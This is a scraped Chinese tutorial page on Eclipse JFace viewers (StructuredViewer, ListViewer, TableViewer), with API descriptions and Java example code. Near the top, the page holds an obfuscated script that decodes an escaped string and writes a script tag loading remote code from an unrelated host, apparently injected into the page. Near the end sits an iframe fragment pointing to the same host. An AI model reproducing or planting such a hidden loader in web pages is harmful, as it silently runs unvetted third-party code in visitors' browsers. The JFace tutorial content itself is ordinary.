JFace Viewer 3

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
JFace Viewer 3

<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>






5.1.5. StructuredViewer

StructuredViewer
是列表查看器,表格查看器,树查看器的抽象超类。(参见
Figure 5-7
)

 


Figure 5-7. StructuredViewer 层次图



 


下列为通常使用的API:


addDoubleClickListener(IDoubleClickListener)
为查看器添加鼠标双击监听器。

 

addDragSupport(int, Transfer[], DragSourceListener)
为查看器添加支持拖元素的操作。

 

 

addDropSupport(int, Transfer[], DropTargetListener)
为查看器添加接收释放元素到其中的支持。

 

 

addFilter(ViewerFilter)
为查看器添加过滤器,并触发查看器重新过滤和排列元素。

 

 

addHelpListener(HelpListener)
为查看器添加对帮助请求的监听器。

 

 

addOpenListener(IOpenListener)
添加对选中元素进行打开操作的监听器。

 

 

addSelectionChangedListener(ISelectionChangedListener)
为查看器添加选择元素改变监听器。

 

 

addPostSelectionChangedListener(ISelectionChangedListener)
为查看器添加选择后事件监听器。

 

getSelection()
子类实现此方法,以
IStructuredSelection
接口返回选中的元素。

 

 

refresh()
刷新查看器。

 

 

refresh(boolean)
刷新查看器。参数表示是否刷新已存在元素的标签。

 

refresh(Object)
从指定元素开始刷新查看器。

 

 

refresh(Object, boolean)
从指定元素开始刷新查看器。参数表示是否刷新已存在元素的标签。

 

 

resetFilters()
清除过滤器,并触发查看器重新过滤和排列元素。

 

setComparer(IElementComparer)
设置比较器来进行元素比较,如果没有设置,则默认使用元素本身的
equals

hashCode


 

setContentProvider(IContentProvider)
本方法会校验内容供给器为
IStructuredContentProvider


 

setData(String, Object)
设置属性和值,如果 Object设为
null
该属性将被删除。

 

setInput(Object)

ContentViewer
实现了该方法,调用内容供给器的
inputChanged
方法,然后调用
inputChanged
方法。 内容供给器
getElements(Object)
随后将被调用,以Object作为输入参数,以决定查看器的根级元素。

 

setSelection(ISelection, boolean)

StructuredViewer
实现了该方法,设定查看器选中输入的元素。

 

setSorter(ViewerSorter)
设置查看器的排序器,并触发查看器重新过滤和排列元素。

 

setUseHashlookup(boolean)
设置是否在查看器中使用内部哈希表以提高元素和SWT部件的映射速度。

 

update(Object[], String[])
更新指定元素的显示状态。

 

update(Object, String[])
更新指定元素的显示状态。

 







5.1.6. ListViewer

 

ListViewer类
封装了
List
控件,可以用来显示对象集合而不是字符串集合。列表查看器需要设置标签供给器和内容供给器。常用API包括:
 


add(Object)
为列表查看器加入指定元素。

 

add(Object[])
为列表查看器加入指定元素。

 

getControl()
返回该查看器的根源控件。

 

getElementAt(int)
根据指定位置返回相应的元素。

 

getList()
返回列表查看器的列表控件。

 

remove(Object)
删除列表查看器的指定元素。

 

remove(Object[])
删除列表查看器的指定元素。

 

reveal(Object)
滚动查看器,保证指定元素被显示。

 

setLabelProvider(IBaseLabelProvider)
列表查看器实现了该
Viewer
框架的方法,可以保证标签供给器为
ILabelProvider

 

下面的域对象将用在以后的程序例子中。
 


public class Person { public String firstName = "John"; public String lastName = "Doe"; public int age = 37; public Person[] children = new Person[0]; public Person parent = null; public Person(String firstName, String lastName, int age) { this.firstName = firstName; this.lastName = lastName; this.age = age; } public Person(String firstName, String lastName, int age, Person[] children) { this(firstName, lastName, age); this.children = children; for (int i = 0; i < children.length; i++) { children[i].parent = this; } } public static Person[] example() { return new Person[] { new Person("Dan", "Rubel", 41, new Person[] { new Person("Beth", "Rubel", 11), new Person("David", "Rubel", 6)}), new Person("Eric", "Clayberg", 42, new Person[] { new Person("Lauren", "Clayberg", 9), new Person("Lee", "Clayberg", 7)}), new Person("Mike", "Taylor", 55) }; } public String toString() { return firstName + " " + lastName; }}


下面的例子创建了一个列表查看器,并设置了标签供给器,内容供给器和排序器。 (参见
Figure 5-8
) 注意: 要独立运行此程序, 你必须添加如下四项到你的
Java Build Path
(插件版本号要符合安装的Eclipse)。
 


ECLIPSE_HOME/plugins/org.eclipse.core.runtime_3.1.2.jarECLIPSE_HOME/plugins/org.eclipse.jface_3.1.1.jarECLIPSE_HOME/plugins/org.eclipse.jface.text_3.1.2.jarECLIPSE_HOME/plugins/org.eclipse.text_3.1.1.jar




import org.eclipse.jface.viewers.*;import org.eclipse.swt.*;import org.eclipse.swt.layout.*;import org.eclipse.swt.widgets.*;public class ListViewerExample { public static void main(String[] args) { Display display = new Display(); Shell shell = new Shell(display); shell.setText("List Viewer Example"); shell.setBounds(100, 100, 200, 100); shell.setLayout(new FillLayout());
final ListViewer listViewer =

new ListViewer(shell, SWT.SINGLE);

listViewer.setLabelProvider(

new PersonListLabelProvider());

listViewer.setContentProvider(

new ArrayContentProvider());

listViewer.setInput(Person.example());

listViewer.setSorter(new ViewerSorter() {
public int compare( Viewer viewer, Object p1, Object p2) { return ((Person) p1).lastName .compareToIgnoreCase(((Person) p2).lastName); } });
listViewer.addSelectionChangedListener(
new ISelectionChangedListener() { public void selectionChanged( SelectionChangedEvent event) { IStructuredSelection selection = (IStructuredSelection) event.getSelection(); System.out.println("Selected: " + selection.getFirstElement()); } });
listViewer.addDoubleClickListener(
new IDoubleClickListener() { public void doubleClick(DoubleClickEvent event) { IStructuredSelection selection = (IStructuredSelection) event.getSelection(); System.out.println("Double Clicked: " + selection.getFirstElement()); } }); shell.open(); while (!shell.isDisposed()) { if (!display.readAndDispatch()) display.sleep(); } display.dispose(); }}


 


Figure 5-8. ListViewer example.



 

列表查看器创建后,使用
setLabelProvider()
方法设置标签供给器,使用
setContentProvider()
设置内容供给器。
PersonListLabelProvider
作为内容供给器, 返回由名字组成的文字标签,没有返回图标。该类程序如下:
 


public class PersonListLabelProvider extends LabelProvider { public Image getImage(Object element) { return null; } public String getText(Object element) { Person person = (Person) element; return person.firstName + " " + person.lastName; }}


使用内建的
ArrayContentProvider
最为内容供给器,它将输入的集合映射为数组。使用
setInput()
方法设置输入数据。排序器定义了
compare()
方法,它基于名字进行排序。最后,为列表查看器添加了
selectionChanged
监听器和
doubleClick
监听器。
 







5.1.7. TableViewer

TableViewer
类封装了
Table
控件。表格查看器提供了可编辑的,垂直的,多列的条目列表。在列表中,每一个条目显示为一行单元格。每一个单元格显示了条目的相应属性。表格查看器需要配置标签供给器,内容供给器和列信息。
 

CheckboxTableViewer
加入了对个别条目泛灰的支持,还可以选中和反选与条目相关联的复选框。常用的API包括:
 


add(Object)
向表格查看器中加入指定的元素。当一个元素已经被加入到数据模型中,希望查看器能够准反映数据模型的时候,调用该方法。此方法只影响查看器,不影响数据模型。

 

add(Object[])
向表格查看器中加入指定的元素。 当元素已经被加入到数据模型中,希望查看器能够准反映数据模型的时候,调用该方法。此方法只影响查看器,不影响数据模型。

 

cancelEditing()
取消当前起作用的单元格编辑器。

 

editElement(Object, int)
开始编辑指定元素。

 

getElementAt(int)
从表格查看器重获取指定序列号的元素。

 

getTable()
返回表格查看器的表格控件。

 

insert(Object, int)
在表格查看器的指定位置插入指定元素。

 

isCellEditorActive()
返回是否存在起作用的单元格编辑器。

 

remove(Object)
从表格查看器重删除指定元素。当一个元素已经被从数据模型中删除,希望查看器能够准反映数据模型的时候,调用该方法。此方法只影响查看器,不影响数据模型。

 

remove(Object[])
从表格查看器重删除指定元素。当元素已经被从数据模型中删除,希望查看器能够准反映数据模型的时候,调用该方法。此方法只影响查看器,不影响数据模型。

 

reveal(Object)
滚动查看器,保证指定元素被显示。

 

setCellEditors(CellEditor[])
为表格查看器设置单元格编辑器。

 

setCellModifier(ICellModifier)
为表格查看器设置单元格修改器。

 

setColumnProperties(String[])
为表格查看器设置列属性。

 

setLabelProvider(IBaseLabelProvider
) 表格查看器实现了
Viewer
框架的此方法 保证输入的内容供给器是
ITableLabelProvider

ILabelProvider


 

The
CheckboxTableViewer
常用API包括:
 


addCheckStateListener(ICheckStateListener)
为查看器添加选中状态改变监听器。

 

getChecked(Object)
返回指定元素的选中状态。

 

getCheckedElements()
返回查看器中选中元素列表。

 

getGrayed(Object)
返回指定元素的泛灰状态。

 

getGrayedElements()
R返回查看器中泛灰元素列表。

 

setAllChecked(boolean)
设置所有元素是否被选中。

 

setAllGrayed(boolean)
设置所有元素是否泛灰。

 

setChecked(Object, boolean)
设置指定元素是否被选中。

 

setCheckedElements(Object[])
设置指定元素被选中。

 

setGrayed(Object, boolean)
设置指定元素是否泛灰。

 

setGrayedElements(Object[])
设置指定元素泛灰。

 

下面的程序样例创建一个拥有四列的表格查看器。 (参见
Figure 5-9
)。
 

 


Figure 5-9. TableViewer 样例



 



import org.eclipse.jface.viewers.*;import org.eclipse.swt.*;import org.eclipse.swt.layout.*;import org.eclipse.swt.widgets.*;public class TableViewerExample { public static void main(String[] args) { Display display = new Display(); Shell shell = new Shell(display); shell.setText("Table Viewer Example"); shell.setBounds(100, 100, 325, 200); shell.setLayout(new FillLayout());
final TableViewer tableViewer = new TableViewer(

shell, SWT.SINGLE | SWT.FULL_SELECTION);

final Table table = tableViewer.getTable();

table.setHeaderVisible(true);

table.setLinesVisible(true);
String[] columnNames = new String[] { "First Name", "Last Name", "Age", "Num Children"}; int[] columnWidths = new int[] { 100, 100, 35, 75}; int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT, SWT.CENTER, SWT.CENTER};
for (int i = 0; i < columnNames.length; i++) {

TableColumn tableColumn =

new TableColumn(table, columnAlignments[i]);

tableColumn.setText(columnNames[i]);

tableColumn.setWidth(columnWidths[i]);
}
tableViewer.setLabelProvider(

new PersonTableLabelProvider());

tableViewer.setContentProvider(

new ArrayContentProvider());

tableViewer.setInput(Person.example());
shell.open(); while (!shell.isDisposed()) { if (!display.readAndDispatch()) display.sleep(); } display.dispose(); }}


创建表格查看器后,调用
setHeaderVisible()

setLinesVisible()
方法使列表头可见,表格线可见。然后加入四列的信息。通过
setText()

setWidth()
方法设置列表头的文字和宽度。(参见
7.8 节
, 自动调整表格列)。
 
使用
setLabelProvider()方法设置标签供给器, 使用
setContentProvider()
方法设置内容供给器。标签供给器
PersonTableLabelProvider
, 用来返回表格每一列的文字标签,没有返回图标。 程序如下:
 


import org.eclipse.jface.viewers.*;import org.eclipse.swt.graphics.*;public class PersonTableLabelProvider extends LabelProvider implements ITableLabelProvider { public Image getColumnImage( Object element, int) { return null; } public String getColumnText(Object element, int index) { Person person = (Person) element; switch (index) { case 0 : return person.firstName; case 1 : return person.lastName; case 2 : return Integer.toString(person.age); case 3 : return Integer.toString(person.children.length); default : return "unknown " + index; } }}




<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值